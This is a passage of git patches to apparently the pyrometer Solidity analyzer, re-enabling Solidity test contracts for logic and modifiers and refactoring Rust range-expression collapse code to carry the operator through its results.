require(!s); - // } - - // function cond_not(uint256 a) public pure { - // bool s = a < 100; - // if (!s) { - // require(!s); - // } else { - // require(s); - // } - // } - - // function cond_and(bool a, bool b) public pure { - // if (a && b) { - // require(a); - // require(b); - // bool f = a && b; - // require(f); - // } else { - // require(!a || !b); - // } - // } - - // function cond_if(uint256 a) public pure { - // bool s = a < 100; - // if (s) { - // require(s); - // } else { - // require(!s); - // } - // } - - // function and() public pure { - // uint256 a = 100; - // uint256 b = 1000; - // bool s = a > 99; - // bool t = b > 999; - // require(s && t); - // } - - // function or_basic() public pure { - // uint256 a = 100; - // uint256 b = 1000; - // bool s = a > 99; - // bool t = b < 1000; - // require(s || t); - // } - - // function or() public pure { - // uint256 a = 100; - // uint256 b = 1000; - // bool s = a > 99 || b < 1000; - // require(s); - // } - - // function or_inline() public pure { - // uint256 a = 100; - // uint256 b = 1000; - // require(a > 99 || b < 1000); - // } + function eq(address a) public pure { + assembly { + if eq(0x0, a) { + + } + } + } + + function not() public pure { + uint256 a = 100; + bool s = a < 100; + require(!s); + } + + function cond_not(uint256 a) public pure { + bool s = a < 100; + if (!s) { + require(!s); + } else { + require(s); + } + } + + function cond_and(bool a, bool b) public pure { + if (a && b) { + require(a); + require(b); + bool f = a && b; + require(f); + } else { + require(!a || !b); + } + } + + function cond_if(uint256 a) public pure { + bool s = a < 100; + if (s) { + require(s); + } else { + require(!s); + } + } + + function and() public pure { + uint256 a = 100; + uint256 b = 1000; + bool s = a > 99; + bool t = b > 999; + require(s && t); + } + + function or_basic() public pure { + uint256 a = 100; + uint256 b = 1000; + bool s = a > 99; + bool t = b < 1000; + require(s || t); + } + + function or() public pure { + uint256 a = 100; + uint256 b = 1000; + bool s = a > 99 || b < 1000; + require(s); + } + + function or_inline() public pure { + uint256 a = 100; + uint256 b = 1000; + require(a > 99 || b < 1000); + } } diff --git a/crates/pyrometer/tests/test_data/modifier.sol b/crates/pyrometer/tests/test_data/modifier.sol index f7a8da55..8ca9f205 100644 --- a/crates/pyrometer/tests/test_data/modifier.sol +++ b/crates/pyrometer/tests/test_data/modifier.sol @@ -4,19 +4,19 @@ pragma solidity ^0.8.0; contract Modifier { uint256 a; - // modifier Noop() { - // _; - // } + modifier Noop() { + _; + } - // modifier RequireBefore() { - // require(a == 0); - // _; - // } + modifier RequireBefore() { + require(a == 0); + _; + } - // modifier RequireAfter() { - // _; - // require(a == 1); - // } + modifier RequireAfter() { + _; + require(a == 1); + } modifier Input(uint256 l) { require(l == 100); @@ -25,26 +25,26 @@ contract Modifier { a += 1; } - // function noop() public Noop { - // a = 100; - // } + function noop() public Noop { + a = 100; + } - // function requireBefore() public RequireBefore { - // a += 1; - // } + function requireBefore() public RequireBefore { + a += 1; + } - // function requireAfter() public RequireAfter { - // a += 1; - // } + function requireAfter() public RequireAfter { + a += 1; + } - // function requireBoth() public RequireBefore RequireAfter { - // a += 1; - // } + function requireBoth() public RequireBefore RequireAfter { + a += 1; + } - // function input(uint256 b) public Input(b) { - // uint256 a = b; - // require(a == 2); - // } + function input(uint256 b) public Input(b) { + uint256 a = b; + require(a == 2); + } function input(uint256 b, uint256 q) public Input(b) Input(q) { uint256 k = b; @@ -52,34 +52,34 @@ contract Modifier { require(a == 4); } - // function internalMod(uint256 b) internal Input(b) { - // uint256 k = b; - // k; - // require(a == 2); - // } - - // function internalModPub(uint256 b) public { - // internalMod(b); - // } - - // function addOne(uint256 x) internal pure returns (uint256) { - // return x + 1; - // } - - // function inputFunc(uint256 x) internal Input(addOne(x)) returns (uint256) { - // return x; - // } - - // function inputFuncConst( - // uint256 x - // ) internal Input(addOne(99)) returns (uint256) { - // require(a == 2); - // return x; - // } - - // function inputFunc_conc() internal returns (uint256) { - // uint256 y = inputFunc(99); - // require(a == 2); - // return y; - // } + function internalMod(uint256 b) internal Input(b) { + uint256 k = b; + k; + require(a == 2); + } + + function internalModPub(uint256 b) public { + internalMod(b); + } + + function addOne(uint256 x) internal pure returns (uint256) { + return x + 1; + } + + function inputFunc(uint256 x) internal Input(addOne(x)) returns (uint256) { + return x; + } + + function inputFuncConst( + uint256 x + ) internal Input(addOne(99)) returns (uint256) { + require(a == 2); + return x; + } + + function inputFunc_conc() internal returns (uint256) { + uint256 y = inputFunc(99); + require(a == 2); + return y; + } } diff --git a/crates/solc-expressions/src/func_call/func_caller.rs b/crates/solc-expressions/src/func_call/func_caller.rs index 2770f29a..b6396d09 100644 --- a/crates/solc-expressions/src/func_call/func_caller.rs +++ b/crates/solc-expressions/src/func_call/func_caller.rs @@ -183,14 +183,18 @@ pub trait FuncCaller: .cloned() .collect::>(); modifiers_as_base.iter().rev().for_each(|modifier| { + // We need to get the inputs for the modifier call, but + // the expressions are not part of the function body so + // we need to reset the parse index in the function context + // after we parse the inputs let Some(args) = &modifier.args else { return; }; - let curr_parse_idx = ctx.parse_idx(self); + let curr_parse_idx = callee_ctx.parse_idx(self); args.iter() .for_each(|expr| self.traverse_expression(expr, Some(false))); - self.interpret(ctx, loc, arena); - ctx.underlying_mut(self).unwrap().parse_idx = curr_parse_idx; + self.interpret(callee_ctx, loc, arena); + callee_ctx.underlying_mut(self).unwrap().parse_idx = curr_parse_idx; }); let is_constructor = func_node.is_constructor(self).into_expr_err(loc)?; self.apply_to_edges( @@ -298,12 +302,7 @@ pub trait FuncCaller: }); // parse the function body - println!("traversing func call body"); self.traverse_statement(&body, None); - println!( - "interpretting func call body: {}", - callee_ctx.parse_idx(self) - ); self.interpret(callee_ctx, body.loc(), arena); if let Some(mod_state) = &callee_ctx .underlying(self) diff --git a/crates/solc-expressions/src/func_call/modifier.rs b/crates/solc-expressions/src/func_call/modifier.rs index fa238afe..8e69f3e0 100644 --- a/crates/solc-expressions/src/func_call/modifier.rs +++ b/crates/solc-expressions/src/func_call/modifier.rs @@ -52,28 +52,20 @@ pub trait ModifierCaller: .into_expr_err(loc)?; self.apply_to_edges(func_ctx, loc, arena, &|analyzer, arena, ctx, loc| { - // We need to get the inputs for the modifier call, but - // the expressions are not part of the function body so - // we need to reset the parse index in the function context - // after we parse the inputs - // let curr_parse_idx = ctx.parse_idx(analyzer); - // input_exprs - // .iter() - // .for_each(|expr| analyzer.traverse_expression(expr, Some(false))); - // analyzer.interpret(ctx, loc, arena); - // ctx.underlying_mut(analyzer).unwrap().parse_idx = curr_parse_idx; - if analyzer.debug_stack() { tracing::trace!( - "stack for getting modifier inputs: {}, ctx: {}", - ctx.debug_expr_stack_str(analyzer).into_expr_err(loc)?, - ctx.path(analyzer) + "stack for getting modifier inputs: {}, ctx: {},", + mod_state + .parent_ctx + .debug_expr_stack_str(analyzer) + .into_expr_err(loc)?, + mod_state.parent_ctx.path(analyzer) ); } let inputs = ExprRet::Multi( mod_state - .parent_caller_ctx + .parent_ctx .pop_n_latest_exprs(input_exprs.len(), loc, analyzer) .into_expr_err(loc)?, ); From bf7591b763e571d2e3ff9ed445b8fe77e4838a09 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Mon, 22 Jul 2024 06:24:20 -0700 Subject: [PATCH 37/52] specialized builtins --- crates/graph/src/nodes/concrete.rs | 3 + crates/graph/src/nodes/ty_ty.rs | 4 + .../graph/src/range/elem/elem_enum/impls.rs | 8 +- crates/graph/src/range/elem/expr/collapse.rs | 147 +++++++++--------- crates/graph/src/range/elem/expr/mod.rs | 64 ++++---- crates/graph/src/range/exec/exec_op.rs | 9 +- crates/graph/src/range/exec/mod.rs | 4 +- .../src/range/exec/truthy_ops/logical.rs | 28 ---- crates/graph/src/range/exec/truthy_ops/mod.rs | 2 +- crates/graph/src/solvers/atoms.rs | 7 +- crates/pyrometer/src/analyzer_backend.rs | 5 - crates/pyrometer/tests/test_data/cast.sol | 6 +- crates/solc-expressions/src/cmp.rs | 34 ++-- .../src/context_builder/flattened.rs | 1 - .../src/func_call/internal_call.rs | 31 ++-- crates/solc-expressions/src/literal.rs | 4 +- .../src/member_access/builtin_access.rs | 104 +++++++++++-- .../src/member_access/library_access.rs | 1 - 18 files changed, 263 insertions(+), 199 deletions(-) diff --git a/crates/graph/src/nodes/concrete.rs b/crates/graph/src/nodes/concrete.rs index 34695419..19f4eb88 100644 --- a/crates/graph/src/nodes/concrete.rs +++ b/crates/graph/src/nodes/concrete.rs @@ -734,6 +734,9 @@ impl Concrete { Concrete::String(_) => { alts.push(Builtin::DynamicBytes); } + Concrete::Bytes(_, _) => { + alts.push(Builtin::DynamicBytes); + } _ => {} } alts diff --git a/crates/graph/src/nodes/ty_ty.rs b/crates/graph/src/nodes/ty_ty.rs index 054db2ad..9e9225ae 100644 --- a/crates/graph/src/nodes/ty_ty.rs +++ b/crates/graph/src/nodes/ty_ty.rs @@ -45,6 +45,10 @@ impl TyNode { .next() .map(ContractNode::from) } + + pub fn underlying_ty(&self, analyzer: &impl GraphBackend) -> Result { + Ok(self.underlying(analyzer)?.ty) + } } impl From for NodeIdx { diff --git a/crates/graph/src/range/elem/elem_enum/impls.rs b/crates/graph/src/range/elem/elem_enum/impls.rs index 282b5698..f4fcd2e4 100644 --- a/crates/graph/src/range/elem/elem_enum/impls.rs +++ b/crates/graph/src/range/elem/elem_enum/impls.rs @@ -557,13 +557,13 @@ impl Elem { match self { Self::Reference(Reference { idx: _, .. }) => Some(Elem::Expr(RangeExpr::new( self.clone(), - RangeOp::Not, - Elem::Null, + RangeOp::Eq, + Elem::from(false), ))), Self::Concrete(_) => Some(Elem::Expr(RangeExpr::new( self.clone(), - RangeOp::Not, - Elem::Null, + RangeOp::Eq, + Elem::from(false), ))), Self::Expr(expr) => Some(Elem::Expr(expr.inverse_if_boolean()?)), Self::ConcreteDyn(_d) => None, diff --git a/crates/graph/src/range/elem/expr/collapse.rs b/crates/graph/src/range/elem/expr/collapse.rs index 641ea576..f27ba986 100644 --- a/crates/graph/src/range/elem/expr/collapse.rs +++ b/crates/graph/src/range/elem/expr/collapse.rs @@ -3,7 +3,7 @@ use crate::elem::expr::simplify::*; use crate::{ nodes::Concrete, range::{ - elem::{Elem, RangeConcrete, RangeElem, RangeExpr, RangeOp}, + elem::{Elem, RangeElem, RangeExpr, RangeOp}, exec_traits::*, }, }; @@ -46,9 +46,9 @@ pub static FLIP_INEQ_OPS: &[RangeOp] = &[RangeOp::Lt, RangeOp::Lte, RangeOp::Gt, #[derive(Debug)] pub enum MaybeCollapsed { - Concretes(Elem, Elem), + Concretes(Elem, RangeOp, Elem), Collapsed(Elem), - Not(Elem, Elem), + Not(Elem, RangeOp, Elem), } pub fn collapse( @@ -57,10 +57,13 @@ pub fn collapse( r: Elem, arena: &mut RangeArena>, ) -> MaybeCollapsed { + tracing::trace!("collapsing: {l} {op} {r}"); + let l = if let Elem::Expr(e) = l { + println!("collapsing lhs"); match collapse(*e.lhs, e.op, *e.rhs, arena) { - MaybeCollapsed::Not(l, r) => Elem::Expr(RangeExpr::new(l, e.op, r)), - MaybeCollapsed::Concretes(l, r) => Elem::Expr(RangeExpr::new(l, e.op, r)), + MaybeCollapsed::Not(l, op, r) => Elem::Expr(RangeExpr::new(l, op, r)), + MaybeCollapsed::Concretes(l, op, r) => Elem::Expr(RangeExpr::new(l, op, r)), MaybeCollapsed::Collapsed(e) => e, } } else { @@ -68,9 +71,10 @@ pub fn collapse( }; let r = if let Elem::Expr(e) = r { + println!("collapsing rhs"); match collapse(*e.lhs, e.op, *e.rhs, arena) { - MaybeCollapsed::Not(l, r) => Elem::Expr(RangeExpr::new(l, e.op, r)), - MaybeCollapsed::Concretes(l, r) => Elem::Expr(RangeExpr::new(l, e.op, r)), + MaybeCollapsed::Not(l, op, r) => Elem::Expr(RangeExpr::new(l, op, r)), + MaybeCollapsed::Concretes(l, op, r) => Elem::Expr(RangeExpr::new(l, op, r)), MaybeCollapsed::Collapsed(e) => e, } } else { @@ -78,6 +82,7 @@ pub fn collapse( }; if let Some(e) = ident_rules(&l, op, &r, arena) { + println!("ident rules return"); return MaybeCollapsed::Collapsed(e); } @@ -85,20 +90,20 @@ pub fn collapse( (l @ Elem::Arena(_), r) => { let t = l.dearenaize_clone(arena); match collapse(t, op, r, arena) { - MaybeCollapsed::Not(l, r) => MaybeCollapsed::Not(l, r), - MaybeCollapsed::Concretes(l, r) => MaybeCollapsed::Not(l, r), + MaybeCollapsed::Not(l, op, r) => MaybeCollapsed::Not(l, op, r), + MaybeCollapsed::Concretes(l, op, r) => MaybeCollapsed::Not(l, op, r), MaybeCollapsed::Collapsed(e) => MaybeCollapsed::Collapsed(e), } } (l, r @ Elem::Arena(_)) => { let t = r.dearenaize_clone(arena); match collapse(l, op, t, arena) { - MaybeCollapsed::Not(l, r) => MaybeCollapsed::Not(l, r), - MaybeCollapsed::Concretes(l, r) => MaybeCollapsed::Not(l, r), + MaybeCollapsed::Not(l, op, r) => MaybeCollapsed::Not(l, op, r), + MaybeCollapsed::Concretes(l, op, r) => MaybeCollapsed::Not(l, op, r), MaybeCollapsed::Collapsed(e) => MaybeCollapsed::Collapsed(e), } } - (l @ Elem::Concrete(_), r @ Elem::Concrete(_)) => MaybeCollapsed::Concretes(l, r), + (l @ Elem::Concrete(_), r @ Elem::Concrete(_)) => MaybeCollapsed::Concretes(l, op, r), (Elem::Expr(expr), d @ Elem::Reference(_)) => { // try to collapse the expression let x = &*expr.lhs; @@ -112,7 +117,7 @@ pub fn collapse( if let Some(res) = sub_ord_rules(x, y, op, &z, ords) { MaybeCollapsed::Collapsed(res) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } (RangeOp::Div(_), RangeOp::Eq) => { @@ -120,7 +125,7 @@ pub fn collapse( // (x -|/ y) == x ==> false MaybeCollapsed::Collapsed(Elem::from(Concrete::from(false))) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } (RangeOp::Add(_), RangeOp::Eq) => { @@ -129,7 +134,7 @@ pub fn collapse( // (x +|* k) == x ==> false MaybeCollapsed::Collapsed(Elem::from(Concrete::from(false))) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } (RangeOp::Mul(_), RangeOp::Eq) => { @@ -137,7 +142,7 @@ pub fn collapse( // (x +|* k) == x ==> false MaybeCollapsed::Collapsed(Elem::from(Concrete::from(false))) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } (RangeOp::Max, RangeOp::Gte) => { @@ -145,7 +150,7 @@ pub fn collapse( // max{ x, y } >= MaybeCollapsed::Collapsed(Elem::from(Concrete::from(true))) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } (RangeOp::Min, RangeOp::Lte) => { @@ -153,10 +158,10 @@ pub fn collapse( // min{ x, y } <= MaybeCollapsed::Collapsed(Elem::from(Concrete::from(true))) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } - _ => MaybeCollapsed::Not(Elem::Expr(expr), z), + _ => MaybeCollapsed::Not(Elem::Expr(expr), op, z), } } // if we have an expression, it fundamentally must have a dynamic in it @@ -173,14 +178,14 @@ pub fn collapse( if let Some(res) = sub_ord_rules(x, y, op, &z, ords) { MaybeCollapsed::Collapsed(res) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } (RangeOp::Add(false), _) if ORD_OPS.contains(&op) => { if let Some(res) = add_ord_rules(x, y, op, &z, ords) { MaybeCollapsed::Collapsed(res) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } (RangeOp::Eq, RangeOp::Eq) => { @@ -189,9 +194,10 @@ pub fn collapse( if (ords.x_eq_z() || ords.y_eq_z()) || z.range_eq(&Elem::from(Concrete::from(true)), arena) { + println!("collapsed == true"); MaybeCollapsed::Collapsed(Elem::Expr(expr)) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } (RangeOp::Add(l_op), RangeOp::Add(r_op)) => { @@ -208,7 +214,7 @@ pub fn collapse( } else if let Some(new) = op_fn(y, &z) { MaybeCollapsed::Collapsed(Elem::Expr(RangeExpr::new(x.clone(), op, new))) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } (RangeOp::Add(l_op), RangeOp::Sub(r_op)) => { @@ -229,7 +235,7 @@ pub fn collapse( Elem::Expr(RangeExpr::new(x.clone(), expr.op, new)); MaybeCollapsed::Collapsed(new_expr) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } Some(std::cmp::Ordering::Less) => { @@ -248,7 +254,7 @@ pub fn collapse( new, ))) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } None => { @@ -271,7 +277,7 @@ pub fn collapse( new, ))) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } Some(std::cmp::Ordering::Less) => { @@ -290,15 +296,15 @@ pub fn collapse( new, ))) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } - None => MaybeCollapsed::Not(Elem::Expr(expr), z), + None => MaybeCollapsed::Not(Elem::Expr(expr), op, z), } } } } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } (RangeOp::Sub(l_op), RangeOp::Add(r_op)) => { @@ -321,7 +327,7 @@ pub fn collapse( new, ))) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } Some(std::cmp::Ordering::Less) => { @@ -340,7 +346,7 @@ pub fn collapse( new, ))) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } None => { @@ -359,12 +365,12 @@ pub fn collapse( y.clone(), ))) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } } } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } (RangeOp::Mul(l_op), RangeOp::Mul(r_op)) => { @@ -390,10 +396,10 @@ pub fn collapse( new, ))) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } (RangeOp::Add(wrapping), op) if EQ_OPS.contains(&op) => { @@ -410,7 +416,7 @@ pub fn collapse( } else if let Some(new) = const_op(&z, x) { MaybeCollapsed::Collapsed(Elem::Expr(RangeExpr::new(x.clone(), op, new))) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } (RangeOp::Sub(wrapping), op) if EQ_OPS.contains(&op) => { @@ -433,7 +439,7 @@ pub fn collapse( let new_expr = RangeExpr::new(y.clone(), op, new); MaybeCollapsed::Collapsed(Elem::Expr(new_expr)) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } (RangeOp::Mul(wrapping), op) if EQ_OPS.contains(&op) => { @@ -467,7 +473,7 @@ pub fn collapse( new, ))) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } (RangeOp::Div(wrapping), op) if EQ_OPS.contains(&op) => { @@ -507,15 +513,16 @@ pub fn collapse( new, ))) } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } (_, RangeOp::Eq) => { // (x _ y) == z ==> (x _ y if z == true) if z.range_eq(&Elem::from(Concrete::from(true)), arena) { + println!("true collapse"); MaybeCollapsed::Collapsed(Elem::Expr(expr)) } else if z.range_eq(&Elem::from(Concrete::from(false)), arena) { // (!x && !y) @@ -527,10 +534,10 @@ pub fn collapse( (Some(new_x), Some(new_y), Some(new_op)) => MaybeCollapsed::Collapsed( Elem::Expr(RangeExpr::new(new_x, new_op, new_y)), ), - _ => MaybeCollapsed::Not(Elem::Expr(expr), z), + _ => MaybeCollapsed::Not(Elem::Expr(expr), op, z), } } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } (_, RangeOp::Neq) => { @@ -548,30 +555,30 @@ pub fn collapse( (Some(new_x), Some(new_y), Some(new_op)) => MaybeCollapsed::Collapsed( Elem::Expr(RangeExpr::new(new_x, new_op, new_y)), ), - _ => MaybeCollapsed::Not(Elem::Expr(expr), z), + _ => MaybeCollapsed::Not(Elem::Expr(expr), op, z), } } else { - MaybeCollapsed::Not(Elem::Expr(expr), z) + MaybeCollapsed::Not(Elem::Expr(expr), op, z) } } - _ => MaybeCollapsed::Not(Elem::Expr(expr), z), + _ => MaybeCollapsed::Not(Elem::Expr(expr), op, z), } } (l @ Elem::Concrete(_), r @ Elem::Expr(_)) => { if op.commutative() { match collapse(r, op, l, arena) { MaybeCollapsed::Collapsed(inner) => MaybeCollapsed::Collapsed(inner.clone()), - MaybeCollapsed::Not(r, l) => MaybeCollapsed::Not(l, r), - MaybeCollapsed::Concretes(r, l) => MaybeCollapsed::Concretes(l, r), + MaybeCollapsed::Not(r, op, l) => MaybeCollapsed::Not(l, op, r), + MaybeCollapsed::Concretes(r, op, l) => MaybeCollapsed::Concretes(l, op, r), } } else if let Some(inv) = op.non_commutative_logical_inverse() { match collapse(r, inv, l, arena) { MaybeCollapsed::Collapsed(inner) => MaybeCollapsed::Collapsed(inner.clone()), - MaybeCollapsed::Not(r, l) => MaybeCollapsed::Not(l, r), - MaybeCollapsed::Concretes(r, l) => MaybeCollapsed::Concretes(l, r), + MaybeCollapsed::Not(r, op, l) => MaybeCollapsed::Not(l, op, r), + MaybeCollapsed::Concretes(r, op, l) => MaybeCollapsed::Concretes(l, op, r), } } else { - MaybeCollapsed::Not(l, r) + MaybeCollapsed::Not(l, op, r) } } (le @ Elem::Reference(_), c @ Elem::Concrete(_)) => { @@ -582,50 +589,38 @@ pub fn collapse( if matches!(c.range_ord(&zero, arena), Some(std::cmp::Ordering::Equal)) { MaybeCollapsed::Collapsed(le.clone()) } else { - MaybeCollapsed::Not(le, c) + MaybeCollapsed::Not(le, op, c) } } RangeOp::Mul(_) | RangeOp::Div(_) => { if matches!(c.range_ord(&one, arena), Some(std::cmp::Ordering::Equal)) { MaybeCollapsed::Collapsed(le.clone()) } else { - MaybeCollapsed::Not(le, c) + MaybeCollapsed::Not(le, op, c) } } - _ => MaybeCollapsed::Not(le, c), + _ => MaybeCollapsed::Not(le, op, c), } } (Elem::Null, real) => match op { RangeOp::Max | RangeOp::Min => MaybeCollapsed::Collapsed(real.clone()), - RangeOp::Not => match real { - Elem::Concrete(RangeConcrete { - val: Concrete::Bool(c), - loc, - }) => MaybeCollapsed::Collapsed(Elem::Concrete(RangeConcrete::new( - Concrete::from(!c), - loc, - ))), - _ => MaybeCollapsed::Not(Elem::Null, real), - }, - _ => MaybeCollapsed::Not(Elem::Null, real), + _ => MaybeCollapsed::Not(Elem::Null, op, real), }, (real, Elem::Null) => match op { RangeOp::Max | RangeOp::Min => MaybeCollapsed::Collapsed(real.clone()), - RangeOp::Not => match real { - Elem::Concrete(RangeConcrete { - val: Concrete::Bool(c), - loc, - }) => MaybeCollapsed::Collapsed(Elem::Concrete(RangeConcrete::new( - Concrete::from(!c), - loc, - ))), - _ => MaybeCollapsed::Not(real, Elem::Null), - }, - _ => MaybeCollapsed::Not(real, Elem::Null), + _ => MaybeCollapsed::Not(real, op, Elem::Null), }, - (l, r) => return MaybeCollapsed::Not(l, r), + (l, r) => return MaybeCollapsed::Not(l, op, r), }; + match res { + MaybeCollapsed::Not(ref l, op, ref r) => tracing::trace!("not result: {l} {op} {r}"), + MaybeCollapsed::Concretes(ref l, op, ref r) => { + tracing::trace!("concrete result: {l} {op} {r}") + } + MaybeCollapsed::Collapsed(ref l) => tracing::trace!("collapsed result: {l}"), + } + match res { MaybeCollapsed::Collapsed(Elem::Expr(e)) => collapse(*e.lhs, e.op, *e.rhs, arena), other => other, diff --git a/crates/graph/src/range/elem/expr/mod.rs b/crates/graph/src/range/elem/expr/mod.rs index c6b7ddc7..ec2570a8 100644 --- a/crates/graph/src/range/elem/expr/mod.rs +++ b/crates/graph/src/range/elem/expr/mod.rs @@ -434,19 +434,19 @@ impl RangeElem for RangeExpr { let r = self.rhs.simplify_maximize(analyzer, arena)?; let collapsed = collapse(l, self.op, r, arena); let res = match collapsed { - MaybeCollapsed::Concretes(l, r) => { - RangeExpr::new(l, self.op, r).exec_op(true, analyzer, arena) + MaybeCollapsed::Concretes(l, op, r) => { + RangeExpr::new(l, op, r).exec_op(true, analyzer, arena) } MaybeCollapsed::Collapsed(collapsed) => Ok(collapsed), - MaybeCollapsed::Not(l, r) => { - let res = RangeExpr::new(l, self.op, r).simplify_exec_op(true, analyzer, arena)?; + MaybeCollapsed::Not(l, op, r) => { + let res = RangeExpr::new(l, op, r).simplify_exec_op(true, analyzer, arena)?; match res { Elem::Expr(expr) => match collapse(*expr.lhs, expr.op, *expr.rhs, arena) { - MaybeCollapsed::Concretes(l, r) => { - RangeExpr::new(l, expr.op, r).exec_op(true, analyzer, arena) + MaybeCollapsed::Concretes(l, op, r) => { + RangeExpr::new(l, op, r).exec_op(true, analyzer, arena) } MaybeCollapsed::Collapsed(collapsed) => Ok(collapsed), - MaybeCollapsed::Not(l, r) => Ok(Elem::Expr(RangeExpr::new(l, expr.op, r))), + MaybeCollapsed::Not(l, op, r) => Ok(Elem::Expr(RangeExpr::new(l, op, r))), }, other => Ok(other), } @@ -477,19 +477,19 @@ impl RangeElem for RangeExpr { let collapsed = collapse(l, self.op, r, arena); let res = match collapsed { - MaybeCollapsed::Concretes(l, r) => { - RangeExpr::new(l, self.op, r).exec_op(false, analyzer, arena) + MaybeCollapsed::Concretes(l, op, r) => { + RangeExpr::new(l, op, r).exec_op(false, analyzer, arena) } MaybeCollapsed::Collapsed(collapsed) => Ok(collapsed), - MaybeCollapsed::Not(l, r) => { - let res = RangeExpr::new(l, self.op, r).simplify_exec_op(false, analyzer, arena)?; + MaybeCollapsed::Not(l, op, r) => { + let res = RangeExpr::new(l, op, r).simplify_exec_op(false, analyzer, arena)?; match res { Elem::Expr(expr) => match collapse(*expr.lhs, expr.op, *expr.rhs, arena) { - MaybeCollapsed::Concretes(l, r) => { - return RangeExpr::new(l, self.op, r).exec_op(false, analyzer, arena) + MaybeCollapsed::Concretes(l, op, r) => { + return RangeExpr::new(l, op, r).exec_op(false, analyzer, arena) } MaybeCollapsed::Collapsed(collapsed) => return Ok(collapsed), - MaybeCollapsed::Not(l, r) => Ok(Elem::Expr(RangeExpr::new(l, expr.op, r))), + MaybeCollapsed::Not(l, op, r) => Ok(Elem::Expr(RangeExpr::new(l, op, r))), }, other => Ok(other), } @@ -534,20 +534,19 @@ impl RangeElem for RangeExpr { let r = simp_minimize(&mut this.rhs, analyzer, arena)?; let collapsed = collapse(l, this.op, r, arena); let res = match collapsed { - MaybeCollapsed::Concretes(l, r) => { - RangeExpr::new(l, this.op, r).exec_op(false, analyzer, arena) + MaybeCollapsed::Concretes(l, op, r) => { + RangeExpr::new(l, op, r).exec_op(false, analyzer, arena) } MaybeCollapsed::Collapsed(collapsed) => Ok(collapsed), - MaybeCollapsed::Not(l, r) => { - let res = - RangeExpr::new(l, this.op, r).simplify_exec_op(false, analyzer, arena)?; + MaybeCollapsed::Not(l, op, r) => { + let res = RangeExpr::new(l, op, r).simplify_exec_op(false, analyzer, arena)?; let idx = arena.idx_or_upsert(res.clone(), analyzer); match res { Elem::Expr(expr) => match collapse(*expr.lhs, expr.op, *expr.rhs, arena) { - MaybeCollapsed::Concretes(l, r) => { - let exec_res = RangeExpr::new(l, expr.op, r) - .exec_op(false, analyzer, arena)?; + MaybeCollapsed::Concretes(l, op, r) => { + let exec_res = + RangeExpr::new(l, op, r).exec_op(false, analyzer, arena)?; Elem::Arena(idx).set_arenaized_flattened(false, &exec_res, arena); Ok(exec_res) } @@ -555,8 +554,8 @@ impl RangeElem for RangeExpr { Elem::Arena(idx).set_arenaized_flattened(false, &collapsed, arena); Ok(collapsed) } - MaybeCollapsed::Not(l, r) => { - Ok(Elem::Expr(RangeExpr::new(l, expr.op, r))) + MaybeCollapsed::Not(l, op, r) => { + Ok(Elem::Expr(RangeExpr::new(l, op, r))) } }, other => Ok(other), @@ -594,20 +593,19 @@ impl RangeElem for RangeExpr { let r = simp_maximize(&mut this.rhs, analyzer, arena)?; let collapsed = collapse(l, this.op, r, arena); let res = match collapsed { - MaybeCollapsed::Concretes(l, r) => { - RangeExpr::new(l, this.op, r).exec_op(true, analyzer, arena) + MaybeCollapsed::Concretes(l, op, r) => { + RangeExpr::new(l, op, r).exec_op(true, analyzer, arena) } MaybeCollapsed::Collapsed(collapsed) => Ok(collapsed), - MaybeCollapsed::Not(l, r) => { - let res = - RangeExpr::new(l, this.op, r).simplify_exec_op(true, analyzer, arena)?; + MaybeCollapsed::Not(l, op, r) => { + let res = RangeExpr::new(l, op, 